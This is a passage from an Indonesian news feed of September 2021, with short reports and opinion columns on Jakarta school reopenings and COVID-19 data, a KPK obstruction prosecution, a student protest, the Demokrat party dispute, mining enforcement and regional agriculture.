asesmen untuk syarat menggelar PTM terbatas tahap dua. Sekolah-sekolah itu berada di bawah naungan Sudin Pendidikan Jakarta Barat I. Yakni Cengkareng, Kalideres, Tambora dan Taman Sari. Menurut Kepala Suku Dinas Pendidikan Jakarta Barat I Aroman, beberapa sekolah tidak lolos saat dilakukan asesmen karena berbagai alasan. Salah satunya ketidakhadiran guru saat mengikuti pelatihan. Saat dilakukan pelatihan mungkin ada guru yang tidak bisa hadir. Padahal, syarat untuk mengikuti PTM, guru harus ikut pelatihan minimal tujuh orang guru dari setiap sekolah. Dari 226 sekolah yang semula mengikuti asesmen, hanya 71 sekolah yang diperbolehkan mengikuti PTM tahap dua mulai awal Oktober 2021. Sisanya akan diikutsertakan pada PTM selanjutnya, yakni tahap tiga. Ke-226 sekolah itu terdiri atas 20 Taman Kanak-kanak (TK), 2 Sekolah Luar Biasa (SLB), 101 Sekolah Dasar (SD), 42 Sekolah Menengah Pertama (SMP) dan 17 Sekolah Menengah Atas (SMA). Selain itu, 26 Sekolah Menengah Kejuruan (SMK), 2 Pusat Kegiatan Belajar Masyarakat (PKBM), 7 Madrasah Ibtidaiyah (MI), 7 Madrasah Tsanawiyah (MTs) dan 2 Madrasah Aliyah (MA). Kini proses ANBK masih berjalan. Diharapkan seluruh sekolah yang dinilai dinyatakan layak menggelar PTM. Terkendali Dari sisi situasi dan kondisi wabah virus corona (COVID-19), PTM di Ibu Kota berlangsung kondusif. Dari 610 sekolah yang diikutkan dalam uji coba PTM tahap pertama hanya ditemukan kasus positif COVID-19 di enam sekolah. Itu pun kasus, bukan klaster. Sedangkan di satu sekolah ditemukan pelanggaran protokol kesehatan (prokes). Temuan di tujuh sekolah itu telah ditindaklanjuti dengan menghentikan sementara PTM selama tiga hari. Selama sekolah ditutup dilakukan penyemprotan disinfektan. Dilihat dari kecilnya temuan kasus dan pelanggaran prokes, bisa dikatakan PTM tak terlalu mengkhawatirkan. Apalagi kasus positif harian di DKI Jakarta cenderung landai. DKI Jakarta telah sekitar dua bulan tidak lagi menjadi pusat wabah. Angka tren pertambahannya sedikit yang mengindikasikan wabah telah terkendali. Gubernur Anies Baswedan menyatakan saat ini kondisi pandemi COVID-19 di Jakarta sudah terkendali. Kasus positif mencapai 0,7 persen atau sudah di bawah standar Organisasi Kesehatan Dunia (WHO), yakni sebesar lima persen. Artinya, dari 100 orang yang dites COVID-19, hanya ada satu yang kemungkinan positif COVID-19. Meski persentase kasus positif sudah menurun, namun pemeriksaan tidak diturunkan dan tetap tinggi, yakni 11 kali lipat dari standar WHO. Hasilnya, kasus positif COVID-19 tercatat rendah meski jumlah tes tetap tinggi. Berdasarkan data Dinas Kesehatan DKI per Sabtu (25/9) dalam sepekan terakhir sebanyak 117 ribu orang menjalani tes usap PCR. Hasilnya, kasus positif hanya 0,9 persen. Kondisi itu, jauh berbeda dibandingkan ketika periode Juli 2021, yakni gelombang kedua pandemi COVID-19. Saat itu dari 100 orang yang dites PCR, 48 orang di antaranya positif. Meskipun sudah terkendali warga diimbau agar senantiasa tetap memakai masker, sering mencuci tangan dan tetap menjaga jarak. Kalau wabah bisa terus terkendali, maka temuan kasus di sekolah, bukan hanya kecil, tetapi nihil. (mth)

Ekonomi Digital Harus Meneguhkan Demokrasi Ekonomi

Jakarta, FNN - Gemuruh pertumbuhan ekonomi digital di Indonesia yang jadi magnet bagi para investor, perlu didorong agar memberikan benefit yang optimal bagi ekonomi rakyat. Ada kecendrungan, ekonomi digital semakin meminggirkan sektor ril. Terutama usaha kecil dan mikro. Hal ini lantaran arus investasi jumbo yang mengalir dari luar, juga disertai banjir produk impor melalui platform yang memperoleh suntikan modal. Khususnya ecommerce. Telaah kritis ekonomi digital itu mencuat dari Focus Group Discussion (FGD) yang bertajuk “Digitalisasi Ekonomi dan Demokrasi Ekonomi” di Tangerang Selatan (27/9). Pimpinan Badan Pengkajian MPR, Tamsil Linrung dalam sambutannya menyatakan, di awal kemunculannya ekonomi digital diharapkan menjembatani inklusi ekonomi. Terutama di daerah. Namun perkembangan mutakhir mengindikasikan terjadi sentralisasi. “Ekonomi digital tampak sangat Jakarta sentris. Padahal, kita berharap sektor ekonomi baru ini membuka akses, terutama bagi ekonomi di daerah,” imbuh Senator DPD RI ini. Menurut Tamsil, hal itu seolah merepetisi problem klasik ekonomi masa lalu. Selain dalam aspek aksesabilitas yang masih terbatas di kota-kota besar di Pulau Jawa, siklus ekonomi yang terjadi juga minim pemberdayaan ekonomi rakyat. Pasalnya, ekonomi digital tumbuh dari momentum sektor konsumtif. Namun di saat yang sama, terjadi keterbatasan suplai. Situasi tersebut menambah ketergantungan pasar domestik dari importasi yang berefek pada eksistensi pengusaha lokal. Karena itu, Tamsil menekankan pentingnya kehadiran negara dalam merespons fenomena ekonomi baru ini. Ketua Kelompok DPD di MPR ini menekankan, Pokok-Pokok Haluan Negara yang sedang dibahas dan dipersiapkan oleh MPR, harus mampu menangkap berbagai tantangan digitalisasi ekonomi guna mendorong tegaknya demokrasi ekonomi. Yaitu bangunan perekonomian yang berpihak pada rakyat kecil, dan pada saat yang sama memberi ruang tumbuh dan berkembangnya usaha-usaha besar. Senada, ekonom Bhima Yudhistira merekomendasikan agar pemerintah meregulasi startup digital untuk bekerjasama dengan UMKM, khususnya di sektor business solution yang jadi kendala utama pelaku usaha lokal. Selain itu, Direktur Center of Economic and Law Studies (CELIOS) ini juga menilai pentingnya evaluasi total seluruh perjanjian perdagangan bebas yang merugikan atau tidak dimanfaatkan dengan optimal. “Solusi berikutnya, Indonesia perlu memperbesar non-tariff measures dan pengaturan digital untuk mencegah banjirnya barang impor melalui ecommerce,” imbuh Bhima. Selain itu, Bhima juga menyoroti dampak ekonomi digital di sektor tenaga kerja. Menurutnya, model kemitraan yang dikembangkan oleh startup meningkatkan risiko pekerja. “Konsep tersebut memang menguntungkan bagi business owner. Namun mitra tidak punya kepastian nasib. Tidak ada jaminan sosial dan proteksi dari perusahaan yang sebetulnya mempekerjakan mereka,” imbuhnya. Karena itu, Bima memandang perlunya melibatkan mitra sebagai bagian dari pemilik saham startup melalui koperasi. Gagasan itu, juga jadi manifestasi demokrasi ekonomi di era gig economy. Yaitu ekonomi digital berbasis kekeluargaan dan gotong royong. Sementara itu, dosen pascasarjana ilmu manajemen UI, Harris Turino menilai kecendrungan monopolistis seperti terjadi di beberapa sektor ekonomi digital merusak pasar. Animal spirit untuk menguasai semua, merupakan konsekuensi yang harus dihadapi. “Namun dalam konteks ideologi ekonomi Pancasila yang dianut Indonesia, pemerintah harus berpihak kepada yang lemah dan memberi ruang yang lain untuk tumbuh. Harus ada proteksi dari negara di dalam PPHN,” paparnya. (JD)

Polisi Tahan Mahasiswa yang Berusaha Dekati Gedung KPK

Jakarta, FNN - Petugas polisi menahan massa mahasiswa dari Badan Eksekutif Mahasiswa Seluruh Indonesia (BEM SI) yang berusaha semakin mendekati Gedung Komisi Pemberantasan Korupsi (KPK), di Setiabudi, Jakarta Selatan, Senin, (27/9/2021). Massa BEM SI yang melakukan aksi demo di depan Gedung KPK sejak pukul 11:30 WIB. Tuntutan mereka terkait pemberhentian 57 pegawai KPK nonaktif yang tidak lulus tes wawasan kebangsaan (TWK). Sekitar pukul 14:30 WIB, mereka berusaha semakin mendekati Gedung KPK, namun ditahan oleh barikade polisi. Sebagaimana dikutip dari Antara, petugas kepolisian yang membentuk barikade dengan memasang tali, menahan upaya massa tersebut. Aksi saling dorong-mendorong pun terjadi. Akibatnya, beberapa mahasiswa dan polisi pun terjatuh. Kapolres Metro Jakarta Selatan, Komisaris Besar Azis Andriansyah, yang berada di lokasi demo, mengimbau massa supaya tetap tenang dan tidak melakukan tindakan anarkis. Mahasiswa juga diminta agar menjalankan aksinya secara damai. Azis juga meminta anggontanya agar tidak terprovokasi dan tetap tenang mengamkan aksi dari ratusan mahasiswa tersebut. Sebelumnya, Wakapolres Metro Jakarta Selatan, Ajun Komisaris Besar Antonius Agus Rahmanto, melalui pengeras suara, mengimbau para mahasiswa meredam aksi saling dorong tersebut. "Tolong semua diredam. Adik-adik mahasiswa, kita semua bersaudara. Tidak boleh ada upaya paksa. Semua harus kepala dingin, tolong bisa sabar. Tolong bisa ditahan emosinya. Kita kawal adik-adik sampai selesai kegiatan," katanya. (MD).

Halangi Penyidik KPK, Kerabat Mantan Sekretaris MA Dituntut Tujuh Tahun Penjara

Jakarta, FNN - Ferdy Yuman selaku kerabat dari mantan Sekretaris Mahkamah Agung Nurhadi dituntut tujuh tahun penjara. Selain itu ia juga dituntut denda Rp 400 juta subsider enam bulan kurungan karena menghalang-halangi penyidikan KPK (Komisi Pemberantasan Korupsi). Ferdy diketahui membantu Nurhadi dan menantunya Rezky Herbiyono untuk menghindari pemeriksaan dari penyidik KPK terkait perkara hukum yang menjerat keduanya. "Menuntut, supaya majelis hakim pengadilan tindak pidana korupsi (Tipikor) menyatakan terdakwa Ferdy Yuman terbukti secara sah dan meyakinkan bersalah melakukan tindak pidana korupsi. Menjatuhkan pidana terhadap terdakwa dengan penjara selama tujuh tahun ditambah denda Rp 400 juta subsider enam bulan kurungan," kata jaksa penuntut umum (JPU) KPK, Wawan Yunarwanto di pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta, Senin, 27 September 2021. Perbuatan Ferdy dinilai memenuhi pasal 21 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi. Terdapat sejumlah hal yang memberatkan dan meringankan dalam perbuatan Ferdy. "Hal yang memberatkan, perbuatan terdakwa tidak mendukung program pemerintah dalam memberantas tindak pidana korupsi. Perbuatan terdakwa sangat bertentangan dengan prinsip-prinsip negara hukum, terdakwa berbelit-belit dan tidak mengakui perbuatannya. Hal yang meringankan, terdakwa belum pernah dihukum," tutur jaksa. Ferdy diketahui adalah sepupu Rezky Herbiyono yang sejak 2018 bekerja sebagai supir dan orang kepercayaan Rezky yang mengurus kebutuhan Rezky dan Nurhadi beserta keluarganya. Atas pekerjaan tersebut, Ferdy mendapat gaji sebesar Rp 20 juta per bulan dari Rezky Herbiyono. Pada 6 Desesmber 2019, terbit Surat Perintah Penyidikan Perkara (SP3) tindak pidana korupsi penerimaan hadiah atau janji yang dilakukan oleh Nurhadi bersama-sama dengan Rezky Herbiyono dan perbuatan penerimaan gratifikasi terkait jabatan. Tiga panggilan KPK terhadap Nurhadi dan Rezky yaitu pada 13 Desember 2019, 3 Januari 2020 dan 23 Januari 2020 tidak dipenuhi keduanya. Pada 28 Januari 2020 KPK mengeluarkan surat perintah penangkapan kepada Nurhadi dan Rezky. Penyidik lalu mendatangi kediaman dan lokasi lainnya diduga menjadi tempat persembunyian Nurhadi dan Rezky. Akan tetapi, keduanya tidak ditemukan. Akhirnya, pada 11 Februari 2020 penyidik mengajukan penerbitan Daftar Pencarian Orang (DPO) ke Polri atas nama Nurhadi dan Rezky. Ferdy diketahui menyiapkan rumah atau tempat tinggal di Jalan Simprug Golf 17 Suites 1 Kebayoran Lama Jakarta Selatan. Tempat itu dijadikan sebagai tempat bersembunyi Rezky Herbiyono dan Nurhadi. Juga sekaligus menyimpan barang-barang yang dijadikan sarana oleh tersangka untuk menghindari pemeriksaan oleh KPK. Ferdy juga mengurus dan memenuhi segala kebutuhan sehari-hari saksi Nurhadi dan Rezky Herbiyono beserta keluarganya. Padahal, ia mengetahui status saksi Rezky Herbiyono dan Nurhadi adalah sebagai tersangka dan DPO oleh KPK. Pada Mei 2020, penyidik mendapat informasi keberadaan Nurhadi dan Rezky. Kemudian, pada 1 Juni 2020, tim penyidik mendatangi lokasi tersebut guna menangkap keduanya. Namun, setiba di lokasi terdakwa telah bersiap-siap menunggu di depan pintu gerbang rumah memakai mobil Toyota Fortuner nomor polisi B-1187-Q dengan kondisi mesin kendaraan yang hidup. Hal itu dilakukan sebagai upaya melarikan Nurhadi dan Rezky Herbiyono. Akan tetapi, sebelum terlaksana, Ferdy melihat mobil tim Penyidik KPK mendekat dan langsung menjalankan kendaraannya sehingga tidak terkejar oleh penyidik dan selanjutnya Ferdy pulang ke Surabaya. Penyidik kemudian menggeledah rumah tersebut. Mereka menemukan Nurhadi sedang bersembunyi di salah satu kamar. Sedangkan Rezky juga bersembunyi di kamar lain. Keduanya pun ditangkap dan dibawa ke gedung KPK. (MD).

Diplomasi Patung Ala Dudung

PATUNG, apakah itu bahan dasar pembuatannya akan memberikan makna instintrik dan holistik bagi para pembuat dan penikmatnya. Jadi tak heran, patung jamak dijadikan oleh lintas peradaban di manapun di muka bumi menjadi sImbol dan penyampai pesan dari sebuah aksara peradaban di setiap masa pembuatnya. Di Amerika ada patung Liberti, yang menyatakan bagaimana Amerika sebagai sebuah negara super power yang menjunjung tinggi nilai kebebasan dan kejayaan. Ada juga patung, isyarat dari muara penghambaan spritual keagamaan yang sakral religius. Ada juga patung-patung duplikat dari sosok para pahlawan dan pejuang di sebuah negeri dalam menyampaikan pesan keperkasaan atau juga pesan heroisme sebuah bangsa. Ada juga patung adalah bagian dari kekayaan seni dan budaya suku bangsa, yang juga kadang kala termaktub dalam dinding-dinding relief candi, pura, bahkan ada juga duplikasi para tokoh dunia yang kesohor seperti patung lilin di Thailand dan Eropa. Namun, makna patung hari ini juga bisa diartikan sebagai sebuah bentuk diplomasi politik dalam komunikasi kekuasaan. Seperti yang hangat dibicarakan di tiap sudut kantor, kafe, bahkan instalasi militer. Tabu dan lucu memang, namun “diplomasi patung” yang terjadi saat ini begitu menggelitik cakrawala intelektualitas kaum elit saat ini. Sejak dibuatnya patung tokoh proklamator Bung Karno di sekolah Akademi Militer TNI AD di Magelang, dimana, peresmian patung ini dihadiri langsung oleh putri sang proklamator Megawati Soekarnoputri. Lengkap dengan Menteri Pertahanan Prabowo Subianto serta KSAD Jenderal Andika Perkasa. Mayjen Dudung yang ketika itu menjadi Gubernur Akmil, telah mampu membuat hati Megawati bangga dan berbunga- bunga. Karena banyak arti simbolik yang bisa diejawantahkan dari makna patung tersebut di sekolah paling bergengsi tempat mencetak para jendral pimpinan TNI AD. Meskipun Bung Karno tidak ada riwayat sebagai militer. Pembicaraan semakin riuh karena, tak lama setelah itu Sang Gubernur Akmil yang telah sukses berhasil membuat Megawati tersenyum itu mendapat jabatan strategis sebagai Pangdam Jaya. Entah hal itu ada hubungannya kita tidak tahu. Tidak hanya sampai di situ. Ternyata tak lama berselang, Mayjen Dudung dapat promosi lagi menjabat sebagai Pangkostrad yang otomatis bintang di pundaknya bertambah jadi tiga. Namun bedanya, entah ini kebetulan atau tidak, kalau sebelumnya Letjen TNI Dudung buat patung Bung Karno lalu jadi Pangdam Jaya. Kalau sekarang, patung tiga tokoh besar TNI AD dalam peristiwa G30S/PKI yang hilang dari museum bersejarah di Mako Kostrad. Yaitu patung : Jendral AH Nasution, Mayjend Soeharto, dan Kolonel Sarwo Edi Wibowo. Hilangnya patung tiga tokoh jenderal monumental TNI AD ini, sampai dinisbatkan mantan Panglima TNI Jenderal Gatot Nurmantyo dalam sebuah Webinarnya berjudul “ TNI Vs PKI”. Tentu saja statemen Jenderal Gatot Nurmantyo ini membuat geger keluarga besar TNI. Apalagi, saat informasi ini dilontarkan ke publik tepat di bulan September, dimana bulan ini adalah bulan keramat atas sejarah kebiadaban PKI yang telah mengkhianati bangsa Indonesia. Kita tentu tidak tahu dan mengerti, apakah ada hubungan langsung atau tidak langsung dari makna tersirat pembuatan patung Bung Karno di AKMIL Magelang, dengan raibnya tiga patung jenderal tokoh besar bangsa ini di museum sejarah Mako Kostrad. Yang kita tahu adalah, oknum pimpinan masing-masing institusi itu adalah orang yang sama. Yaitu, Letjen TNI Dudung yang saat ini menjabat Pangkostrad yang sebelumnya juga pernah menjabat Gubernur Akmil. Artinya, diplomasi patung saat ini, adakalanya bisa bermakna ganda. Bisa penuh makna holistik, juga politik. Namun, apapun itu argumentasinya, setiap orang punya hak untuk mengikhtiarkan niat dan ambisinya dalam berbagai bentuk. Tinggal kita memaknainya menjadi apa. Menjadi rembulan atau matahari.

Semacam Pembantu Bertikai, Sang Bos Cuma Melihat Tanpa Reaksi

Oleh Ady Amar *) JUDUL opini di atas, itu hanya ibarat semata. Ibarat melihat persoalan yang terjadi, lalu mengandaikan atau mengibaratkan dengan Sang Bos yang tanpa respons apalagi menengahi para pembantunya yang tengah berseteru, bahkan sampai ke pengadilan segala. Itu hal yang tidak wajar, tidak semestinya. Itu yang tampak, jika kita melihat fenomena yang terjadi pada Partai Demokrat. Partai besutan Susilo Bambang Yudhoyono (SBY), atau setidaknya partai yang dibesarkannya, yang saat ini dipimpin anak sulungnya, Agus Harimurti Yudhoyono (AHY), tengah "disoalkan" keabsahan partai yang dipimpinnya oleh Moeldoko, yang "merasa" memiliki partai itu, sebagai Ketua Umum lewat KLB Partai Demokrat, di Deli Serdang, Sumatera Utara. Lalu hasil KLB itu dimintakan keabsahannya pada Kementerian Hukum dan HAM (Kemenkumham), dan ditolak. Tetap yang dianggap sah memimpin Partai Demokrat adalah AHY, yang terpilih lewat Kongres ke-5, di Jakarta (2020). Selesai. Ternyata belum selesai, kubu KLB mengajukan gugatan pada PTUN Jakarta, menggugat Menkumham agar menggugurkan putusan keabsahan Partai Demokrat pimpinan AHY. Pada Moeldoko saat ini melekat jabatan sebagai kepala Kantor Staf Presiden (KSP), ia orang dekatnya Presiden Joko Widodo (Jokowi). Dan yang digugat adalah anak buah lainnya di kabinetnya, yaitu Menkumham, yang dijabat Yasonna Laoly. Kok bisa? Ya, realitanya demikian. Mungkin baru terjadi ada produk hukum sang menteri, yang itu representasi Presiden, yang coba ingin digusur oleh pembantu Presiden lainnya, Moeldoko. Tapi saat sidang PTUN akan dimulai, salah seorang penggugat dari kubu KLB Deli Serdang, Yosef Benediktus Badeoda, tiba-tiba mencabut gugatannya. Sehingga Majelis Hakim PTUN Jakarta menunda pelaksanaan sidang gugatan perkara Nomor 154/G/2021/PTUN-JKT antara pihak KLB Deli Serdang (penggugat) dan Menteri Hukum dan HAM selaku tergugat, serta DPP Partai Demokrat (tergugat II intervensi), Kamis/23 September. Entah mengapa harus dicabut gugatan itu. Bisa jadi karena lebih memilih judicial review ke Mahkamah Agung (MA). Prof. Yusril Ihza Mahendra, yang akan melakukan judicial review terhadap AD/ART yang dihasilkan lewat Kongres ke-5 Partai Demokrat ke MA. Katanya, bukan Moeldoko yang mengajukan judicial review itu, tapi dari 4 orang yang kebetulan ada di kubu KLB Deli Serdang. Sebenarnya jika disebut kubu Moeldoko, kan sama saja, karena KLB Deli Serdang itu mengangkat Moeldoko sebagai Ketua Umum. Judicial review itu langkah kubu Moeldoko melihat ada celah hukum untuk memenangkan, dan pula berharap ingin melepaskan stigma "pertarungan" satu kubu. Dengan judicial review AD/ART ke MA, seolah melepaskan Menkumham dalam masalah ini. Agar terkesan tidak bertengkar di rumah sendiri. Apa yang dihasilkan MA, itu tinggal diserahkan pada Kemenkumham untuk ditindaklanjuti. Langkah Moeldoko dengan pengacaranya, Prof Yusril Ihza Mahendra, pastilah sudah diperhitungkan. Dan ini terobosan baru, menggugat AD/ART sebuah partai oleh pihak lain, yang dianggap bisa masuk melalui pintu MA. Kenapa disebut "pihak lain", karena Menkumham menolak keabsahan Partai Demokrat hasil KLB, dan menganggap yang sah atas Partai Demokrat, itu yang hasil Kongres ke-5, yang diketuai AHY. Tapi, sekali lagi, semua kemungkinan sudah diperhitungkan oleh kubu Moeldoko, yang diwakili pengacaranya Prof. Yusril. Tinggal bagaimana MA menyikapi apakah permintaan judicial review itu diterima, dan lalu dibahas dan memutuskan sebagai produk hukum yang mengikat kedua belah pihak, atau sebaliknya menolak permintaan judicial review, itu karena tidak ada landasan hukum pada MA bisa mengujinya. Judicial review ke MA dalam uji formil dan materil terhadap AD/ART sebuah partai, pastilah akan menemui perdebatan di kalangan para ahli hukum tata negara sendiri. Setidaknya, Dr. Agus Riwanto, ahli hukum tata negara UNS, sudah menyampaikan pandangannya. Katanya, "AD/ART bukan objek uji materi ke MA, itu karena bukan produk perundang-undangan," sebagaimana detikcom mewawancarainya, Jum'at/24 September. Artinya, MA bukan ranah untuk itu. Semua berharap bahwa hukum tidak diseret pada masalah politik. Hukum harus berdiri tegak lurus dengan parameter hukum itu sendiri. Itu setidaknya yang diharapkan semua pihak yang berperkara. Kita lihat saja apa yang akan terjadi dengan nasib Partai Demokrat. Pertanyaan tidak terlalu penting muncul, ada di posisi mana, atau memihak pada siapa Sang Bos dalam "pertikaian" anak buahnya itu, tidak ada yang persis tahu. Tapi setidaknya, dengan membiarkan produk hukum dari pembantunya (Menkumham) yang ditorpedo oleh pembantu lainnya, itu seperti Sang Bos secara tidak langsung mempersilahkan produk hukumnya sendiri dikoreksi oleh pembantu lainnya. Gak mudeng ya... Setidaknya itu yang bisa dilihat. Adakah endingnya menuju Pilpres 2024, tentu perlu analisa yang lebih komprehensif dalam melihatnya... Wallahu a'lam.. (*) *) Kolumnis

Luhut Persilakan Haris Azhar Buka Data Tambang di Papua

Jakarta, FNN - Menteri Koordinator Bidang Kemaritiman dan Investasi (Menko Marves) Luhut Binsar Pandjaitan mempersilakan Haris Azhar untuk membuka data bisnis tambang emas di Intan Jaya, Papua. "Silakan saja, buka saja di media sekarang, dari sekarang juga bisa buka di media kok," kata Luhut usai menjalani klarifikasi di Polda Metro Jaya, Jakarta, Senin. Luhut meyakini data tersebut tidak akan membuktikan apapun karena dirinya memang tidak mempunyai bisnis tambang di Papua. "Saya tidak ada sama sekali bisnis di Papua, sama sekali tidak ada. Apalagi itu dibilang pertambangan-pertambangan, itu kan berarti jamak, saya tidak ada," ujar Luhut. Lebih lanjut Luhut juga mempersilakan pihak yang menudingnya terlibat bisnis tambang di Papua untuk membuka laporan harta kekayaannya. "Kan saya punya harta kekayaan ada di Komisi Pemberantasan Korupsi (KPK) itu, Laporan Harta Kekayaan Penyelenggara Negara (LHKPN) itu," tambahnya. Menko Marves Luhut Binsar Pandjaitan melaporkan Haris Azhar dan Fatia Maulidiyanti lantaran unggahan video berjudul 'Ada Lord Luhut di Balik Relasi Ekonomi-Ops Militer Intan Jaya' yang diunggah di akun Youtube Haris Azhar. Video tersebut membahas laporan sejumlah organisasi termasuk KontraS tentang bisnis para pejabat atau purnawirawan TNI di balik bisnis tambang emas atau rencana eksploitasi wilayah Intan Jaya, Papua. Laporan Luhut Binsar Pandjaitan tersebut telah diterima dan terdaftar dengan nomor laporan polisi: STTLP/B/4702/IX/2021/SPKT/POLDA METRO JAYA tanggal 22 September 2021. (mth)

Aktivitas Perusahaan Tambang Atlasindo Utama Dihentikan

Karawang, FNN - Tim Direktorat Penegakan Hukum Kementerian Lingkungan Hidup dan Kehutanan resmi menghentikan aktivitas PT Atlasindo Utama Kabupaten Karawang. Hal tersebut dilakukan, menyusul adanya pembekuan izin perusahaan pertambangan batu andesit itu. "Kami sudah pasang pelang larangan aktivitas di area perusahaan itu," kata Taqiudin, Kepala Balai Penegakan Hukum (Gakkum) Wilayah Jawa, Bali, Nusa Tenggara (Jabalnusra) Kementerian Lingkungan Hidup dan Kehutanan (KLHK), saat dihubungi ANTARA dari Karawang, Senin, 27 September 2021. Pemasangan pelang larangan aktivitas itu dilakukan setelah Tim Gakkum KLHK menggelar kegiatan pengawasan di wilayah Karawang, Jawa Barat, pada 21-24 September 2021. Setelah dilakukan pengawasan dan pemeriksaan, secara umum perusahaan itu sebenarnya masih memenuhi syarat administrasi. Namun ada masalah yang dialami PT Atlasindo Utama itu. Yaitu mengenai pembekuan izin dari Dinas Lingkungan Hidup setempat. Atas hal itulah Tim Gakkum KLHK melarang perusahaan itu beraktivitas, sampai memenuhi ketentuan sampai pembekuan izinnya oleh Dinas Lingkungan Hidup setempat dicabut. Kepala Dinas Lingkungan Hidup dan Kehutanan Kabupaten Karawang, Wawan Setiawan sebelumnya menyampaikan kalau izin tambang PT Atlasindo Utama telah dibekukan sejak beberapa tahun terakhir. Atlasindo mulai melakukan kegiatan pertambangan di wilayah Karawang selatan pada 2006. "Mulai tahun itu, setiap lima tahun sekali, izinnya diperpanjang. Terakhir izinnya Diperpanjang pada 2017 oleh provinsi," tuturnya. Pada 2017 izin Atlasindo diperpanjang pemerintah provinsi, karena terjadi peralihan wewenang pertambangan dari pemerintah kabupaten ke pemerintah provinsi. Sesuai dengan data Dinas Lingkungan Hidup dan Kehutanan Karawang, sejak tahun 2006 lalu Atlasindo melakukan pertambangan di lahan seluas sekitar 20 hektare. Namun, kini izin Atlasindo dibekukan. Itu dilakukan sejak 2018 karena terdapat ketidaksesuaian dokumen lingkungan tahun 2006 dengan tahun 2017. Pada tahun 2006, dokumen lingkungannya hanya untuk pertambangan. Namun, pada 2017, perusahaan itu melakukan produksi batu split. "Jadi dibekukan izinnya," ujarnya. (MD).

Pemprov Babel Fokus Tingkatkan Kualitas Pertanian

Pangkalpinang, FNN - Pemerintah Provinsi Kepulauan Bangka Belitung fokus meningkatkan kuantitas dan kualitas hasil pertanian, guna mendorong kesejahteraan masyarakat petani dan pertumbuhan ekonomi di tengah pendemi COVID-19. "Alhamdulillah, kebijakan gubernur untuk meningkatkan kualitas pertanian telah berdampak baik terhadap nilai tukar petani (NTP) tertinggi di Pulau Sumatera pada Agustus tahun ini," kata Kepala Biro Perekonomian dan Pembangunan Setda Babel Ahmad Yani Hazir di Pangkalpinang, Senin. Ia mengatakan dalam meningkatkan hasil dan kualitas pertanian ini, Gubernur Kepulauan Babel telah mengeluarkan kebijakan memprioritaskan sektor pertanian, misalnya memberikan bantuan bibit berkualitas, pupuk, pengelolaan produktivitas, pendidikan pengolahannya. Selain itu, pemerintah provinsi juga tengah meningkatkan beberapa komoditas seperti sorgum, peningkatan bibit lada, tanaman sela lada (Tasela, tanaman yang ditanam di antara lada), jahe merah, dan porang, serta peningkatan produksi padi. "Kita perlu meletakkan dasar yang tepat terhadap kelompok kerja karena dapat berkontribusi secara makro ekonomi, yang cukup besar andilnya pada pertumbuhan ekonomi di daerahnya," katanya. Menurut dia, meskipun ada pelaksanaan PPKM di beberapa kabupaten, semua pihak tetap berusaha bertahan dan berusaha agar efeknya tidak mempengaruhi pertumbuhan ekonomi Babel kedepannya. "Pelaksanaan aturan PPKM dapat diterapkan untuk menanggulangi penyebaran COVID-19, karena akan mempengaruhi tingkat pertumbuhan ekonomi. Begitu juga dengan penyaluran bantuan sosial, kita harapkan segera dapat dilaksanakan pada masyarakat yang terdampak ataupun yang sedang isolasi mandiri," ujarnya. Kepala BPS Kepulauan Babel Dwi Retno Wilujeng Wahyu Utami mengatakan NTP Babel pada Agustus 2021 sebesar 3,68 persen, atau tertinggi di wilayah Sumatera bagian selatan (Sumbagsel) . "NTP Babel tertinggi dan kenaikan terendah di Lampung 1,14 persen, Jambi 3,57 persen, Sumatera Selatan 3,01 persen, dan Provinsi Bengkulu 2,83 persen," katanya. (mth)

Kerabat Mantan Sekretaris MA Dituntut 7 Tahun Penjara

Jakarta, FNN - Ferdy Yuman selaku kerabat dari mantan Sekretaris Mahkamah Agung Nurhadi dituntut 7 tahun penjara ditambah denda Rp400 juta subsider 6 bulan kurungan karena menghalang-halangi penyidikan KPK. Ferdy diketahui membantu Nurhadi dan menantunya Rezky Herbiyono untuk menghindari pemeriksaan dari penyidik KPK terkait perkara hukum yang menjerat keduanya. "Menuntut supaya majelis hakim pengadilan tindak pidana korupsi (Tipikor) menyatakan terdakwa Ferdy Yuman terbukti secara sah dan meyakinkan bersalah melakukan tindak pidana korupsi. Menjatuhkan pidana terhadap terdakwa dengan pidana penjara selama 7 tahun ditambah denda Rp400 juta subsider 6 bulan kurungan," kata jaksa penuntut umum (JPU) KPK Wawan Yunarwanto di pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta, Senin. Perbuatan Ferdy dinilai memenuhi perbuatan pasal 21 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi. Terdapat sejumlah hal yang memberatkan dan meringankan dalam perbuatan Ferdy. "Hal yang memberatkan, perbuatan terdakwa tidak mendukung program pemerintah dalam memberantas tindak pidana korupsi, perbuatan terdakwa sangat bertentangan dengan prinsip-prinsip negara hukum, terdakwa berbelit-belit dan tidak mengakui perbuatannya. Hal yang meringankan, terdakwa belum pernah dihukum," tutur jaksa. Ferdy diketahui adalah sepupu Rezky Herbiyono yang sejak 2018 bekerja sebagai supir dan orang kepercayaan Rezky yang mengurus kebutuhan Rezky dan Nurhadi beserta keluarganya. Atas pekerjaan tersebut, Ferdy mendapat gaji sebesar Rp20 juta per bulan dari Rezky Herbiyono. Pada 6 Desesmber 2019, terbit Surat Perintah Penyidikan perkara tindak pidana korupsi penerimaan hadiah atau janji yang dilakukan oleh Nurhadi bersama-sama dengan Rezky Herbiyono dan perbuatan penerimaan gratifikasi terkait jabatan. Tiga panggilan KPK terhadap Nurhadi dan Rezky yaitu pada 13 Desember 2019, 3 Januari 2020 dan 23 Januari 2020 tidak dipenuhi keduanya maka pada 28 Januari 2020 KPK mengeluarkan surat perintah penangkapan kepada Nurhadi dan Rezky. Penyidik lalu mendatangi kediaman dan lokasi lainnya diduga tempat persembunyian Nurhadi dan Rezky, namun tidak diketemukan sehingga pada 11 Februari 2020 penyidik mengajukan penerbitan Daftar Pencarian Orang (DPO) ke Polri atas nama Nurhadi dan Rezky. Ferdy diketahui menyiapkan rumah atau tempat tinggal yaitu di Jalan Simprug Golf 17 Suites 1 Kebayoran Lama Jakarta Selatan yang dijadikan sarana oleh Rezky Herbiyono dan Nurhadi untuk bersembunyi dan sekaligus menyimpan barang-barang yang dijadikan sarana oleh tersangka untuk menghindari pemeriksaan oleh KPK. Ferdy juga mengurus dan memenuhi segala kebutuhan 